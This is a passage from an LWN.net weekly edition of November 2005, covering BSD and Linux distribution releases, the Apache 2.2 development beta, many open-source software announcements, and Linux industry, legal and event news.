information. On the server side, the news items would reside in the
repository under directories named 'yyyy-mm/' to make it easier to find new
news. On the client side, an emerge command will copy or symlink
the news file into /var/lib/gentoo/news/ and inform the user.
The proposal is still under discussion and some details of its
implementation have not been addressed. Still this proposal makes a good
start at solving some very real communications problems.
Comments (7 posted)
New Releases
The FreeBSD Foundation has
announced
the availability of FreeBSD 6.0. "
One of the new features in FreeBSD
6.0 is a multithreaded file system, which greatly improves data access
times for local disks, RAID configurations, network file systems, and
SANs. Recent performance benchmarks show that FreeBSD 6.0 outperforms Linux
in raw data throughput. Additionally, FreeBSD 6.0 extends support for
wireless devices such as Intel Centrino and adds supports for the popular
new WPA wireless security protocol." So much for the hyped up press
release. This
release
announcement provides more useful information with less hype.
Comments (95 posted)
The NetBSD Project has
announced
the release of NetBSD 2.1. "
NetBSD 2.1 is the first maintenance
release of the netbsd-2 release branch. This release provides numerous
functional enhancements, including support for many new devices, hundreds
of bug fixes, patches and updates to kernel subsystems, and many
enhancements to the user environment. In addition, all of the security
fixes and critical bug fixes from the NetBSD 2.0.3 update are included as
well."
Comments (none posted)
Distribution News
The Fedora schedule has slipped a couple of weeks. The major change
created by modular X is the primary reason for the slip. (Click below for
more on that.) The current
schedule shows
the Fedora Core 5 test 1 development freeze set for November 14, 2005, with
a release of test 1 set for November 21.
Full Story (comments: none)
A Hot and Spicy
DebConf6 has been
scheduled for May 14 - 22, 2006, in Oaxtepec, Mexico. The conference is
free for anyone who wants to attend. There are
sponsorships available for those who need
some financial assistance. The
call for
papers and presentations is open now. The deadline for proposals is
December 6, 2005, 23h59 UTC.
Comments (none posted)
Lennert Buytenhek reports that the armeb port is nearing a Sarge release.
"
For most packages, the vanilla debian sources are used. Some
packages need patching for armeb, in which case we put the patched sources
in a different component while we submit patches to the bug tracking system
and wait for those to be merged. The armeb support patches for a number of
packages have been merged already, and more will hopefully follow
soon."
Full Story (comments: none)
Scott James Remnant has posted some of the specifications that were
approved at UBZ. This In
post looks at
Ubuntu Express issues, LVM, media checks, booting from USB, automatic
network detection and configuration, video playback, faster GNOME startup,
Kubuntu 6.04 roadmap, and more.
A partitioning tool for Ubuntu Express leads the second post, along with Live CD performance
improvements, Unionfs support in the live CD, support for OpenLDAP and
Active Directory, hiding admin tools from non-sudoers, audio improvements,
Rhythmbox iPod integration, and best bug handling practices.
Comments (none posted)
The Oldenburg DevJam hosted a Debian Java Meeting, held in Oldenburg,
Germany last September. Here's a report from that meeting. "
At
DevJam several Java people from different distributions meet for the
first time. This way there was the possibility to talk about how the
different distributions currently handle java packages. Furthermore
there are several discussions how the distributions can join efforts in
their task of maintaining java packages."
Full Story (comments: none)
New Distributions
Arudius is a live CD
Linux distribution based on Minislack and Linux Live scripts. It contains
an extensive set of software tools used by IT security professionals for
penetration testing and vulnerability analysis. Its goal is to include the
most complete set of useful security tools and still maintain a small
footprint. Version 0.1 was released November 4, 2005.
Comments (1 posted)
Distribution Newsletters
The Debian Weekly News for November 8, 2005 covers problems (and solutions)
for KDE packages in testing, is Debian participating in the GPLv3 process?,
a Linux-Info-Tag Dresden event report, the Debian GNU/kFreeBSD Live CD, how
to create SSL certificates on Debian, Debconf6 call for papers, Debian at
Systems Exhibition, and several other topics.
Full Story (comments: none)
This week's edition of the
Fedora Weekly
News covers a Vote against software patents in an Internet poll, the
Livna Repo Availability Issue, a Using Rawhide and Fedora Testing Guide,
Kennards shifts 400 desktops to Linux (Fedora), Fedora Extras Steering
Committee Meeting and more.
Comments (none posted)
The
Gentoo
Weekly Newsletter for the week of November 7, 2005 looks at how GLEP
aims to manage important update information, an interview with Jacob
Lindberg at Brenntag Nordic, GeCHI conference in Italy, and much more.
Comments (none posted)
The
DistroWatch
Weekly for November 7, 2005 is out. "
As expected, the three main
BSD releases stole the limelight of most open source news sites last week,
with especially FreeBSD 6.0 looking like a truly excellent product. We will
take a closer look at some of the issues discussed on the FreeBSD mailing
lists shortly after the release and share our experiences with upgrading
the DistroWatch server. Also in this issue: a comment on the events of the
past week affecting SUSE Linux and Kubuntu, and a link to an interesting
sub-project by Linux From Scratch - for the fans of cross-compiling. Our
featured distribution of the week is the OpenSolaris-based BeleniX live CD,
while the amaroK project is the one that gets our US$300 October 2005
donation."
Comments (none posted)
Package updates
Fedora Core 4 updates:
eclipse
(Eclipse 3.1.1 natively-compiled for FC4),
eclipse-cdt (build 3.0.0 for FC4),
x86info (update to 1.17),
wireless-tools (update to wireless-tools
28pre10),
NetworkManager (rebuild for FC4),
tar (bug fix),
openldap (merge changes from rawhide and
upgrade to 2.2.29),
lm_sensors (fixed
pwmconfig patch),
kudzu (backport corrected
kernel version handling),
hwdata (add
migration for mptfusion),
hwdata (fix typo
in PCMCIA config file),
audit
(enhancements).
Fedora Core 3 updates: evolution
(bug fix), lm_sensors (fixed pwmconfig
patch), glibc (update to glibc 2.3.6
release).
Comments (none posted)
Mandriva update MDKA-2005:049 provides updated mandriva-release packages
with a fixed CREDITS file. Click below for the complete advisory.
Full Story (comments: none)
Slackware Linux received several
security and bug fixes this week. Security fixes are available for several
versions Slackware and the advisories can be found on this week's
Security page. Details can always be found in
the
slackware-current
changelog.
Comments (none posted)
Distribution reviews
Linux Online
reviews OpenLab
4. "
Some articles I had read about OpenLab mentioned that it would
run fairly well on older hardware, so I trotted out my trusty old AMD K6 II
and gave it a try. When you plunk the CD in the drive and boot, start up is
really fast, so it would seem it doesn't disagree with my aging
hardware. Also, I have often had problems with other distributions with
this machine. It has something to do with the video card and frame buffer
problems, but with OpenLab, I didn't have any problems. What I did miss, at
this point, was the possibility to get support for my Spanish keyboard
layout. Typing 'lang=es' at the boot prompt usually does the trick, but
this did nothing here. Actually, this is no big deal, since OpenLab boots
into KDE and you can change this very easily by just clicking on the US
flag in the taskbar."
Comments (none posted)
Linux.com
looks at
GoboLinux 012. "
Contrary to most Linux distributions, GoboLinux
chooses not to follow the Free Standards Group's Filesystem Hierarchy
Standard. Gobo's authors thought the traditional Unix directory tree was
unsuitable for a modern desktop Linux distribution and decided to take the
path that another desktop-oriented operating systems has been following for
years -- namely, Mac OS X."
Comments (none posted)
Page editor: Rebecca Sobol
Development
The
Apache web server
is one of the largest and most important open-source projects
in use today. It is the most commonly used web server on the internet,
and has been around since 1995. The
project history
document provides some useful background information.
Apache is such a large project that it requires a
glossary
to keep track of the terminology used by the project.
Version 2 of Apache was created several years ago as an effort to
improve and restructure the popular web server, which had become
somewhat overloaded with features and modifications.
The current stable release of Apache is
version 2.0.55.
Work on the next stable release, version 2.2, is ongoing,
with the unstable 2.1 series.
Development version 2.1.9-beta of Apache
was announced
on November 6, 2005. The main Apache web site summarizes
the release:
"This version of Apache is a Beta release of the unstable development branch. New features include Smart Filtering, Improved Caching, AJP Proxy, Proxy Load Balancing, Graceful Shutdown support, Large File Support, the Event MPM, and refactored Authentication/Authorization."
The
new features in Apache 2.2 document lists the changes in detail,
here's a quick rundown of what's new:
- Refactoring of the authentication and authorization modules.
- Improvements to the caching system.
- A simplified and improved configuration system with easy to use configuration snippets.
- Improvements to the shutdown process for httpd.
- A new_mod_proxy balancer module for load balancing.
- Inclusion of version 5 of the Perl Compatible Regular Expression Library.
- Improvements to the output filtering system via mod_filter.
- Support for files and request bodies larger than 2GB.
- An experimental Event MPM for improving atomic operations.
- Support for SQL databases via mod_dbd.
- Improvements to the mod_authnz_ldap, mod_info, and mod_ssl modules.
- An httpd -M command line option that lists all loaded modules.
- Modules now use version 1.0 of the Apache Portable Runtime API.
The Apache 2.1.9
change list shows the bug fixes and other modifications that
have been made for this release.
For a complete manual, take a look at the Apache version 2.1
documentation.
The
Upgrading to 2.1 from 2.0 document is worth a quick read
before upgrading.
All current versions of Apache are available for download
here.
Comments (1 posted)
System Applications
Database Software
PostgreSQL 8.1 is out. This release includes database roles, two-phase
commit support, and an impressive set of performance improvements; click
below for the full announcement.
Full Story (comments: 6)
Version 0.9.5 of Mogwai ERDesigner
is available.
"
ERDesigner is a free entity releationship modelling tool supporting MySQL, PostgreSQL and Oracle.
There are also several plugins available for model documentation, source code generation for JPOX and Hibernate for your models. Also the tools supports database schema versioning. The 0.9.5 release includes some bug - fixes and also enhancements to the reverse engineering plugin and code generation module."
Comments (none posted)
The November 6, 2005 edition of the PostgreSQL Weekly News
is online with the latest PostgreSQL database information.
Full Story (comments: none)
Version 2.0.0 of SchemaSpy
is out with a number of new capabilities.
"
SchemaSpy analyzes schema metadata, letting you click through the hierarchy of your tables' parent/child relationships either graphically or through HTML tables. It works with just about any RDBMS given an appropriate JDBC driver. SchemaSpy also identifies several common schema anomalies."
Comments (none posted)
Embedded Systems
Version 1.1.0-pre1 of
Busybox,
a condensed collection of command line tools for embedded systems,
is out.
"
This prerelease includes a lot of new functionality: new applets, new features, and extensive rewrites of several existing applets. This prerelease should be noticeably more standards compliant than earlier versions of busybox, although we're still working out the bugs."
Comments (none posted)
Networking Tools
Version 1.3.4 of the iptables network filtering software has been released.
"
The 1.3.4 version contains accumulated bugfixes to the last 1.3.3
version. It also fixes some compilation problems with the latest
(2.6.14) kernel release."
Full Story (comments: none)
Package Management
Red Hat has released a new, extensive
guide to the RPM
package manager under the Open Publication License. It probably
belongs in the bookmarks of anybody who manages an RPM-based system.
Comments (4 posted)
Security
Version 4.0 of TrueCrypt, a cross-platform disk encryption system,
is available.
"
Among the new features is the ability to mount TrueCrypt volumes on Linux (TrueCrypt has been ported to Linux), ability to write to outer volume without risking that a hidden volume within it will get damaged, support for x86-64 (64-bit) and big-endian hardware platforms, support for Windows XP x64 Edition (64-bit) and Windows Server 2003 x64, full support for keyfiles, language packs, network drives, auto-dismount, hot keys, and many more."
Comments (2 posted)
Web Site Development
The first beta release of MKSearch has been announced.
"
MKSearch is a metadata search engine that indexes structured
metadata in Web documents, not free text in the document body."
Full Story (comments: none)
Version 3.2.35 of
mnoGoSearch, a web site
search engine, is available.
See the
change history document for details.
Comments (none posted)
Version 1.1 of Wicket, a Java component oriented web application framework,
has been announced. A large collection of new features has been
added.
Comments (none posted)
Version 1.0 of Xaraya, a PHP-based web application framework,
has been announced.
"
This release marks the end of the road to 1.0 and presents a secure and stable platform on which to build into the future. Many smaller fixes to the code are included and some template inconsistencies have been removed."
Comments (none posted)
Uche Ogbuji
explores Google Sitemaps on O'Reilly.
"
I wrote the Python-XML column for three years, discussing the combination of an agile programming language with an agile data format. It's time to pull the lens back a bit to take in other such technologies. This new column, "Agile Web," will cover the intersection of dynamic programming languages and web technologies, particularly the sorts of dynamic developments on the web for which some use the moniker, "Web 2.0.""
Comments (none posted)
Miscellaneous
Version 0.35 of
the EDDIE Tool,
a Pyhon-based tool for system monitoring, security and performance
analysis, is available.
"
This version has been a long time coming but check out all the added features, including support for two new platforms."
Comments (none posted)
Desktop Applications
Audio Applications
The initial release (version 0.1.0) of LDAS, the Low Delay Audio Streamer,
is available.
"
At this point, the basic functionality is present -- LDAS is capable
of transmitting full duplex two-channel audio between two computers.
This has been tested using the ldas_mate binary running on two
computers equipped with SoundBlaster Live sound cards."
Full Story (comments: none)
Version 0.9.57 of the Rivendell radio automation system has been
announced. Changes include SuSE desktop integration,
new icons, and bug fixes.
Full Story (comments: none)
Business Applications
Version 0.8.2 RC1 of Sequoia ERP, a business
Enterprise Resource and Planning application,
has been announced.
"
The first candidate for Sequoia ERP v 0.8.2 has been released. This release candidate incorporates some incremental enhancements and bug fixes since the 0.8.1-stable release."
Comments (none posted)
Version 0.0.12 of Tina POS
has been released with several new features and bug fixes.
"
Tina POS is a point of sales application designed for touch screens. Supports
ESC/POS ticket printers, customer displays and barcode scanners. Its
multiuser and has a great backoffice with a product entry form, reports and
charts."
Comments (none posted)
Calendar Software
A development version of WebCalendar 1.1
is available with an important security fix.
"
WebCalendar is a PHP-based calendar application that can be configured as a single-user calendar, a multi-user calendar for groups of users, or as an event calendar viewable by visitors. MySQL, PostgreSQL, Oracle, DB2, Interbase, MS SQL Server, or ODBC is required."
Comments (none posted)
Desktop Environments
The GNOME Foundation vote on the reduction of its board of directors from
eleven to seven members was
covered in LWN two weeks ago.
The results are now in, and the issue has passed; there were 117 "yes"
votes to 70 "no" votes.
Full Story (comments: none)
The following new GNOME software has been announced this week:
You can find more new GNOME software releases at
gnomefiles.org.
Comments (none posted)
The following new KDE software has been announced this week:
You can find more new KDE software releases at
kde-apps.org.
Comments (none posted)
Electronics
Version 8.03 of Electric
has been announced.
"
The Electric VLSI Design System is a framework for all computer-aided design and engineering work. The system understands MOS, Bipolar, schematics, printed circuitry, artwork, and many others. In addition, Electric contains design-rule checkers, simulators, generators (PLA, etc.), routers, a VHDL compiler, a compactor, network comparison, and other tools. Interpretive languages can be built-in (currently LISP and TCL are available). Current versions of Electric have been rewritten from C to Java." See the
project page
for download information.
Comments (none posted)
Version 0.9 of
wcalc,
a tool for the analysis and synthesis of transmission line structures,
is available.
"
After 8 years in development and use among a fairly small group of people, I am pleased to announce that the first public release of wcalc is finally available. While wcalc is believed to be stable at this time, it has not received much field testing. Therefore I decided on calling this version 0.9. My intention is to collect feedback from users over the next few months and then make a 1.0 release after wcalc has seen some more widespread use."
Comments (none posted)
Interoperability
The November 4, 2005 edition of the
Wine Weekly News
is available. Topics include:
Another Beta Article, WineProbe - Part II, Multimonitor Support,
Multiple App Support, Killing Wine Processes, Wine Eject,
Linking Windows Libraries.
Comments (none posted)
Mail Clients
Release candidate 1 for version 1.5 of the Mozilla Thunderbird email client
is out.
"
Mozilla Thunderbird 1.5 Release Candidate
1 is intended to allow testers to ensure that there are no last-minute
problems with the Thunderbird 1.5 code. There will be at least one more
release candidate before the final launch of 1.5.
In addition to fixing several bugs that came out of the Beta 2 testing
cycle, 1.5 RC1 also includes support for saved search folders that can search
across multiple accounts and support for message threads for single folder
saved search folders."
Comments (none posted)
Medical Applications
Version 0.8.1 of the FreeMED medical practice management system
has been announced.
"
New features include:
Integrated PEAR and phpwebtools for ease of installation,
New Quest Diagnostics HL7 lab interface for integrated results,
Support for FQHC sliding scale system,
Secure data warehousing architecture added,
Initial French internationalization/translation added,
Improved query maker support,
Support for labs and results,
New pluggable authentication system, and
Improved messaging system."
Comments (none posted)
Music Applications
Version 0.25 of gmorgan, a rhythm station and organ synthesizer,
is out with bug fixes, new features, and availability as a Debian package.
Full Story (comments: none)
Beta release 0.18 of MMA, the Musical MIDI Accompaniment generator, is out.
"
Included in this release:
Enhancements to lyrics, macros, command line macro define,
various bug fixes, and minor syntax changes."
Full Story (comments: none)
Video Applications
Version 0.1.1 of Xjadeo is out with build improvements, better
documentation, and some new command line options.
"
Xjadeo is intented as a tool for composing soundtracks to video clips
and is designed to use little system resources, even at the expense of
video playing quality."
Full Story (comments: none)
Web Browsers
Version 3.14 of
MPlayerplug-in,
A Mozilla compatible plugin that plays online video, is out.
Changes include the ability to seek by clicking on the progress bar,
improvements to the Apple HD Trailer playback, and
additional JavaScript Events.
Comments (none posted)
Miscellaneous
Version 1.5 of Comix, a GTK+ comic book viewer,
is available.
"
With version 1.5 Comix takes a few more steps towards it's goal of being user-friendly and simple but still powerful and without taking the control away from the user."
Comments (none posted)
Languages and Tools
Caml
The November 8, 2005 edition of the Caml Weekly News is online
with the latest Caml language articles.
Full Story (comments: none)
Java
Version 0.19 of GNU Classpath, a set of essential Java libraries, is out.
Here are the release highlights:
"
Much more efficient painting for large Free Swing GUIs. Improved
accessibility support. HttpURLConnection rewrite. Official CORBA
VMCID assigned. Start of RMI over IIOP support. Qt4 support for
OS-X. Much improved Free Swing Metal theme. Free Swing Demo includes
theme switcher example (Metal, Ocean, GNU). JBoss now starts up and
Jonas testsuite passes for 95%. Support for the javax.sound.midi
framework and experimental DSSI and ALSA service providers. Early
version of the popular StAX API. Now has 96% coverage of 1.4 API."
Full Story (comments: none)
Leo Simons presents a new document:
"
The Unofficial "Harmony, Licensing, the Universe and everything" FAQ". Take a look for answers to all of your licensing questions
about Harmony, an open-source Java implementation.
Full Story (comments: none)
JSP
Chuck Cavaness
introduces Struts on O'Reilly.
"
Apache Struts is an open source Java framework used for building web applications based on the servlet and JavaServer Pages (JSP) technologies. It was created in 2000 by Craig R. McClanahan and has become the de facto standard framework for web applications in Java."
Comments (none posted)
Python
The November 6, 2005 edition of Dr. Dobb's Python-URL! is online.
Take a look for new Python language articles.
Full Story (comments: none)
The November 9, 2005 edition of Dr. Dobb's Python-URL!
is online with the latest Python articles and resources.
Full Story (comments: none)
Ruby
The November 6th, 2005 edition of the
Ruby Weekly News looks at the latest discussions
from the ruby-talk mailing list.
Comments (none posted)
Tcl/Tk
The November 2, 2005 edition of Dr. Dobb's Tcl-URL! is online with
new Tcl/Tk articles and resources.
Full Story (comments: none)
The November 7, 2005 edition of Dr. Dobb's Tcl-URL! is online
with the latest Tcl/Tk news and resources.
Full Story (comments: none)
IDEs
Version 3.8.0 of eric3, an IDE for Python and Ruby,
has been announced. Changes include usability enhancements and bug
fixes.
Comments (none posted)
Miscellaneous
Version 1.6 of Scriptorium
has been announced.
"
Scriptorium is a web-based code library that helps you reuse code you've already written by organizing it in one place, regardless of language.
New in version 1.6 are localization support (French and Dutch language translations so far), the ability to attach comments to your snippets, and a new syntax highlighting engine. Plus the usual smattering of interface improvements and bug fixes."
Comments (none posted)
Version 0.7 beta 2 of XPlanner
is available.
"
XPlanner is a web-based project planning and tracking tool for eXtreme Programming (XP) teams. XPlanner is implemented using Java, JSP, and Struts, and MySQL (user contributed support for other databases). XPlanner 0.7 provide many improvements."
Comments (none posted)
Page editor: Forrest Cook
Linux in the news
Recommended Reading
Linux Journal
takes a
look at the new Nokia 770 (Linux-based) tablet. "
My min-report:
it's very cool. Basically, it's a browser with lots of extra features. The
wide 800 x 480 screen is pretty and very sharp. That resolution in a
palm-sized device (5.5" x 3.1" x 0.7" with a 4.3" screen) means looking at
itty-bitty (but very sharp) type, which is a strain for my old eyes. But
fortunately the 770 comes with two ways (one involving a nice big rocker
switch with a + and a -) to zoom the display, and another button for making
the browser window full-screen."
Comments (4 posted)
Groklaw
follows the latest news in Massachusetts' attempts at adopting
the Open Document Format:
"
According to what I've just learned, an amendment to a piece of important Massachusetts legislation (an economic stimulus bill) was passed out of the Senate Ways & Means committee this afternoon. If it is adopted, it could at minimum drastically delay the effectiveness date of the ODF policy, and at worst, could roll back the Information and Technology Division's (ITD) action entirely.
I can't confirm at this time the identity of the amendment's proponents, but I am told that the amendment will be debated in the State Senate on Thursday, so those who are behind the amendment will become visible at that point. The gist of the amendment would be to create a new four-person "task force" that would have the power to approve or block a wide variety of IT policy decisions in the Commonwealth -- and many provisions of the amendment map specifically to the ODF situation. . . ."
Comments (28 posted)
Trade Shows and Conferences
NewsForge
reports
on the first "east coast" Open Source Business Conference (OSBC), held in
Newton, Massachusetts last week. "
Conference attendees weren't there
to learn about open source in the "What is this phenomenon?" sense but to
learn better ways their businesses could profit or cut costs by using
it. One thought I heard from several people was that we are seeing the
start of an open source investment mini-bubble, and it's true that there
were venture capitalists around, sniffing out potential deals with nascent
companies. The VC presence wasn't as strong as it was at the Web 2.0
Conference in October, but it was stronger than I've seen it at any other
IT-oriented conference since 2000."
Comments (none posted)
KDE.News
covers the second
annual Trolltech Developer Days. "
Trolltech continues to grow at an
impressive rate, they increased their staff from 80 to 140 employees in the
last twelve months. A second round of fundraising, which brought $6.7
million of disposable money to the company, was recently
completed. Trolltech has opened an office in China. And of course the long
awaited Qt 4 was released. In the coming twelve months Trolltech will
become a professional service organisation. They will develop new products
that complement and expand the usage of Qt. A continued focus on making Qt
easier to use, faster, leaner and better will be kept and it is expected
that Qtopia will explode in the phone market."
Comments (none posted)
Companies
NewsForge
reports on Google donations to two universities in Oregon.
"
Google, having gotten where it is thanks in large part to open source software and development, is giving back to the community with a $350,000 grant to Oregon State and Portland State universities for their collaboration on the development, systems administration, and learning of open source software.
Google was impressed with the efforts at the two Oregon schools, which are home to one of the premier open source education facilities and some of the industry's most advanced curricula, according to Google Open Source Program Manager Chris DiBona. He said that Google figured if the colleges' efforts were fruitful on their existing, limited budgets, a cash infusion would likely spur even more progress faster."
Comments (none posted)
As has been reported in a few places, SonyBMG and First4Internet have
released a software update which is supposed to clear a system of the
rootkit-like DRM they were caught shipping on CDs. Ed Felten
is skeptical: "
The
update is more than 3.5 megabytes in size, and it appears to contain new
versions of almost all the files included in the initial installation of
the entire DRM system, as well as creating some new files. In short,
they're not just taking away the rootkit-like function --
they're almost certainly adding things to the system as well. And once again,
they're not disclosing what they're doing."
Comments (21 posted)
Linux Adoption
Marco Fioretti
reports on the use of
free software in elementary schools in Motta di Costabissara, Italy.
"
A recent official report on FOSS in Italy says, among other things,
"[the standard usage] of Free Software can be reproduced in elementary
schools only with difficulty". Luckily, says Italian Linux activist Antonio
Bernardi, "Nobody in Costabissara had read that report, and we hope they
never do.""
Comments (3 posted)
Linux at Work
Microsoft
plans to deploy some Linux-based networking equipment, according
to Computerworld.
"
Aruba Networks was selected to provide the networking equipment for what is considered to be one of the world's largest next-generation wireless LANs, serving more than 25,000 simultaneous users a day in some 60 countries. According to an Aruba press statement, Microsoft's new WLAN will be deployed in 277 buildings covering more than 17 million square feet using Aruba mobility controllers, mobility software and some 5000 wireless access points.
What the press statement didn't mention is that Aruba mobility controllers run the Linux operating system which Microsoft has aggressively targeted as being inferior to Windows as part of its "Get the Facts" marketing campaign."
(Thanks to Frankie D.)
Comments (21 posted)
Here's
a
lengthy Business Week article on the use of Linux in cellular phones.
"
'The open-source community is allowing us to take some thought
leadership to influence the road map,' [Motorola manager Greg] Besio
says. 'That doesn't happen
with Microsoft.' He declines to state exactly what percentage of Motorola
phones will eventually run on Linux. According to Gartner, the company has
indicated that percentage could get as high as 80%."
Comments (none posted)
Legal
ZDNet
covers
a recent speech by FSF counsel Eben Moglen.
"
"The secret of the GPL was taking a small quantum of risk and putting it on the distributors," Moglen said. "The total risk could be brought close to zero. By contrast, the patent system still imposes risk on users of open-source software, a situation that that shows little chance of changing, he said. In particular, Moglen said that pharmaceutical companies, which have great political influence, will prevent significant reforms to the patent system."
Comments (none posted)
eWeek
wonders
if Google Print breaks copyright laws or follows the fair-use principle.
"
If Google Print is allowed to proceed, the litigants foresee a world
of copyright chaos, where people will freely steal material and authors
will no longer be paid, destroying the very fabric of society. This is
obviously an extreme view, one that fails to see the opportunity that an
index of more than 20 million books can offer. Rather than be hurt, book
sales may increase due to their exposure in the index. In fact, such an
index may even revive long-forgotten or out-of-print texts."
Comments (20 posted)
Interviews
The People Behind KDE have an
interview with Sebastian
Kügler. "
Profession: I'm doing research at the Radboud
University of Nijmegen in the Netherlands on a European Software Quality
standard. In a second project I'm working on for a living, I'm building a
digital schoolyard to motivate secondary education students to become Open
Source software developers." (Found on
KDE.News)
Comments (none posted)
NewsForge
talks
with Bob Young about life after Red Hat. "
How did Young make the
leap from Linux to self-publishing? Lulu.com actually has its roots in the
short-lived Center for the Public Domain (CPD), a non-profit Young founded
with Mark Ewing in 1999. The CPD's mission was to help combat the expansion
of intellectual property laws that were, as Young put it, "the biggest
single threat to the open source movement.""
Comments (none posted)
Resources
The
November 2005 Linux
Gazette is out. This relatively thin issue includes articles on
playing with an iPod, building a Linux-based answering machine, gcc, and
more.
Comments (2 posted)
Wi-Fi Planet has put up
a tutorial
on alternative firmware for the Linux-based Linksys WRT54G router.
"
With the code in hand, developers learned exactly how to talk to the
hardware inside and how to code any features the hardware could support. It
has spawn[ed] a handful of open source firmware projects for the WRT54G that
extend its capabilities, and reliability, far beyond what is expected from
a cheap consumer-grade router."
Comments (5 posted)
Reviews
NewsForge
covers
MapFS. "
Designed to simplify the interaction and use of a Linux
network, the MapFS module specifically offers "optimistic copy and write
capabilities," allowing users to share a single virtual file system that
appears to be read-only, but allows users to save changes to files by
writing changes to their own systems rather than the original
files."
Comments (4 posted)
Linux Journal
takes a
look at MythTV. "
MythTV is a software package that lets you turn
your Linux-based computer into a television and personal video recorder
(PVR) by recording shows onto the hard disk. MythTV lets you select the TV
shows you want to record by using an on-screen menu, pointing and clicking
your way way through a schedule by show name or time."
Comments (2 posted)
Linux.com
takes a look
at thumbnail viewers. "
Thumbnail viewers are utilities that let you
quickly view or manipulate images. For instance, many let you display,
rotate, and zoom images. Some also offer built-in slide show features --
though not at the level of presentation programs such as OpenOffice.org
Impress. Here's an introduction to several common Linux thumbnail viewer
programs."
Comments (7 posted)
The O'Reilly Network
introduces TurboGears and includes an interview with its author. "
But I think there's a real shift happening in corporate America right now with regard to enterprise-level development. They're finally realizing that they don't have to do things that take thousands of lines of XML configuration and tens of thousands of lines of code when they can rely on smaller and more agile frameworks that are just as capable for the common case -- frameworks like Rails and TurboGears."
Comments (3 posted)
Miscellaneous
KDE.News
covers the creation
of the new KDE Marketing Working Group.
"
The KDE Marketing Working Group has formed, after being proposed by the KDE community at aKademy 2005, with the aim of improving KDE's marketing and promotion efforts. Martijn Klingens, Sebastian Kügler and Wade Olson will be taking the lead in coordinating and implementing new practices, such as promoting releases more widely and running more exciting events booths. An initial charter has been created and approved by KDE e.V with the long-term goal of "coherent and strategic messaging around KDE"."
Comments (none posted)
NewsForge
reports that the Linux Standard Base is slated to become an ISO standard.
"
An international organization is preparing to publish its approval of the Linux Standard Base (LSB) as a worldwide standard, which could potentially lead to easier migration to and software development for Linux.
The nonprofit Free Standards Group (FSG) announced at the Open Source Business Conference in Boston this week that the International Standardization Organization (ISO) and the International Electrotechnical Commission (IEC) unanimously approved the FSG's Linux Standard Base Core Specification 2.0.1 and is expected to publish the standard in December."
Comments (7 posted)
Page editor: Forrest Cook
Announcements
Non-Commercial announcements
The Electronic Frontier Foundation has sent out a Media Release
concerning the effectiveness of lawsuits against users of peer-to-peer
technology.
"
"Out of the millions of people who download music from P2P
systems every day, the RIAA arbitrarily picks a few hundred
to sue every month," said EFF Senior Staff Attorney Fred
von Lohmann. "Many of those families suffer severe
financial hardship. But despite all the publicity, studies
show that P2P usage is increasing instead of decreasing.""
Full Story (comments: none)
Commercial announcements
Computer Associates has
announced
that the Ingres relational database has been spun off into a separate
corporation. "
As an independent entity, Ingres will focus
exclusively on the development dynamics and business opportunities
associated with the open source market. The divestiture will also enable CA
to focus on its core strategic markets, which include systems and security
management for the enterprise." The new company plans to become
"the leading open source database supplier."
Comments (7 posted)
Canonical Ltd. has
announced that
Ubuntu has achieved IBM certification that DB2 Universal Database for Linux
operates in the Ubuntu environment. In addition to the core Ubuntu system,
the certification includes the KDE-based Kubuntu and the education focused
Edubuntu.
Comments (7 posted)
The Linux Professional Institute has announced the appointment of
Jose Carlos Rodrigues Gouveia as the Regional Manager for Latin America.
Full Story (comments: none)
Micro Center and Linspire, Inc. have
announced
that Micro Center stores will have new desktop Linux sections within
each of its locations to meet growing consumer demand. The Linux section
of the store will feature desktop Linux software products, pre-installed
desktops and laptops (with Linspire), and Linux-compatible peripherals.
Micro Center operates 19 stores in the US.
Comments (5 posted)
Nokia has
announced the first deliveries of its Nokia 770 terminal product.
"
The Nokia 770 Internet Tablet features an impressive high-resolution
widescreen display (4.13") with zoom and on-screen keyboard, ideal for
viewing online content. Aside from Wi-Fi, the device can also connect to the
Internet utilising Bluetooth wireless technology via a compatible mobile
device.
The device runs on Linux based Nokia Internet Tablet 2005 software
edition which is based on popular desktop Linux and Open Source technologies."
Comments (none posted)
VA Linux has announced its new SMTPGuard Anti-Spam software.
"
VA Linux Systems Japan K.K. (VA Linux), a leading provider of Linux solutions
for the telecommunications and enterprise systems markets, today announced the
release of 'SMTPGuard', an Open Source, anti-SPAM software for MTAs, which can
eliminate unsolicited e-mails (SPAM) flexibly. SMTPGuard is a part of 'VA FMS'
(VA FlexMessaging Solution), VA Linux's total messaging solution."
Full Story (comments: none)
New Books
Syngress has published the book
Nessus, Snort, & Ethereal
Power Tools by Jay Beale.
Full Story (comments: none)
O'Reilly has published the book
Open Sources 2.0: The Continuing Evolution by Chris DiBona, Danese Cooper, and Mark Stone.
Full Story (comments: none)
Resources
The November 7, 2005 edition of the Free Software Foundation Europe
Newsletter is online with the latest FSFE news.
Full Story (comments: none)
Dan Kegel has put together
his thoughts
on what the Linux desktop needs to support the "average Joe".
"
Here are a few areas where Linux's comfort level needs to be raised before
it can thrive on the desktop, plus links to ongoing work in these areas:
Rapid Startup; Usability; Accessibility; Pre-Adaptation;
Legacy Software Support; Fragmentation; Availability;
Patent and Copyright Fears; Peer Support; Wireless; Plugability; Dogfood."
Comments (1 posted)
Contests and Awards
MozillaZine
covers
the winners of the Firefox 100 Million Downloads Celebration Image contest.
"
Asa Dotzler writes: "We've awarded prizes to the best photos submitted in the
Firefox 100 Million Downloads Celebration Image contest." Visitors to Spread
Firefox were asked to send photographs of themselves posing with the 100
million Firefox downloads celebration page. Over 200 photos were submitted."
Comments (none posted)
MozillaZine
has announced the Extend Firefox contest.
"
The Extend Firefox contest,
sponsored by Alienware and O'Reilly, asks entrants to submit new or upgraded
extensions for Firefox 1.5, with extensions that take advantage of new
features in 1.5 particularly welcome.
Prizes will be awarded in eleven categories".
Comments (none posted)
Surveys
KDE.News
queries
Koffice users.
"
Are you using KOffice? What are you using KOffice for? Why did you decide to use KOffice? What are your main problems? We want to know who uses KOffice and we are especially interested in companies and people using KOffice applications in the course of their business. We have done usability testing with OpenUsability on some of the KOffice programs and will be working more with them. Now we want to reach our users directly and ask them what they think."
Comments (none posted)
Upcoming Events
A series of Itanium
Developer Days will be held in Northern California, Japan,
and Germany from November through February.
"
These two and a half day events include an Itanium-focused general session as well as hands on Microsoft Windows and Linux application porting labs. Alliance member representatives from Founding Sponsor companies will provide the best technical assistance and porting tools available to enable port completions at the event."
Comments (none posted)
Two calls for papers have gone out for the Black Hat Federal 2006
and Black Hat Europe 2006 security conferences.
The US event will take place in Washington, D.C. on January 23-26, 2006
